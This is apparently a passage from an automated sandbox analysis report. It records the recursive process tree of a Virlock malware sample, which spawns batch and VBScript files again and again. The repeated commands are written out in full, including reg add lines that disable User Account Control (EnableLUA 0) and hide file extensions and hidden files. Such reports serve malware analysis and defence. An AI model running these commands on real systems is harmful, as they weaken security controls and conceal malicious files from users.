                                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                      PID:5896
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                58⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                PID:5724
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                58⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:1600
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                  58⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                  • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                  PID:1164
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\mWEMYMYM.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                  58⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                  PID:6080
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                    59⤵
                                                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                    PID:4764
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                              56⤵
                                                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                              PID:5696
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                              56⤵
                                                                                                                                                                                                                                                                                                                                                                                              • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                              PID:564
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                              56⤵
                                                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                              PID:5368
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\OiEMMAgQ.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                              56⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:3568
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                  57⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                  PID:5088
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                            54⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                            PID:2564
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                              55⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:4488
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                              54⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:1512
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                54⤵
                                                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                PID:4360
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\oSQEccgQ.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                54⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                PID:5576
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                  55⤵
                                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                  PID:956
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                            52⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                            PID:2728
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                            52⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                            PID:2476
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                            52⤵
                                                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                            PID:6112
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\WAUgYgcI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                            52⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:1552
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                53⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                PID:4492
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                          50⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                          PID:2524
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                            51⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:5420
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                            50⤵
                                                                                                                                                                                                                                                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                            PID:4292
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                            50⤵
                                                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                            PID:3316
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\lQggkEEY.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                            50⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:2868
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                51⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                PID:1500
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                          48⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                          PID:1444
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                          48⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                          PID:5580
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                          reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                          48⤵
                                                                                                                                                                                                                                                                                                                                                                                          • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                          • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                          PID:916
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\iQAUIAkE.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                          48⤵
                                                                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                          PID:4144
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                            49⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                            PID:6080
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                      46⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                      PID:3584
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                      46⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:3320
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                        46⤵
                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                        PID:4184
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\yOYYkEUg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                        46⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:1148
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                            cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                            47⤵
                                                                                                                                                                                                                                                                                                                                                                                            • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                            PID:5724
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                      44⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                      PID:2788
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                      44⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                      PID:3528
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                      reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                      44⤵
                                                                                                                                                                                                                                                                                                                                                                                      • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                      PID:3744
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\zkcAQcIg.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                      44⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:5860
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                          45⤵
                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                          PID:5844
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                    42⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                    PID:3556
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                    42⤵
                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                    PID:2040
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                    42⤵
                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                    PID:1148
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AYsgMIco.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                    42⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                    PID:4848
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                      cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                      43⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                      PID:956
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                40⤵
                                                                                                                                                                                                                                                                                                                                                                                • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                PID:4280
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                40⤵
                                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                PID:6040
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                40⤵
                                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                PID:2528
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\GEsIUgcw.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                40⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:4856
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                    cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                    41⤵
                                                                                                                                                                                                                                                                                                                                                                                    • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                    PID:5880
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                              38⤵
                                                                                                                                                                                                                                                                                                                                                                              • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                              PID:1496
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                              reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                              38⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:5420
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                38⤵
                                                                                                                                                                                                                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                PID:6068
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TMIkMEQI.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                38⤵
                                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                PID:4588
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                  cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                  39⤵
                                                                                                                                                                                                                                                                                                                                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                  PID:2824
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                            36⤵
                                                                                                                                                                                                                                                                                                                                                                            • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                            PID:856
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                            reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                            36⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:1508
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                              reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                              36⤵
                                                                                                                                                                                                                                                                                                                                                                              • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                              PID:1836
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JqkIYkIs.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                              36⤵
                                                                                                                                                                                                                                                                                                                                                                              • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                              PID:1144
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                37⤵
                                                                                                                                                                                                                                                                                                                                                                                • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                PID:248
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                          34⤵
                                                                                                                                                                                                                                                                                                                                                                          • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                          PID:6028
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                          reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                          34⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:4488
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                            reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                            34⤵
                                                                                                                                                                                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                            PID:5860
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
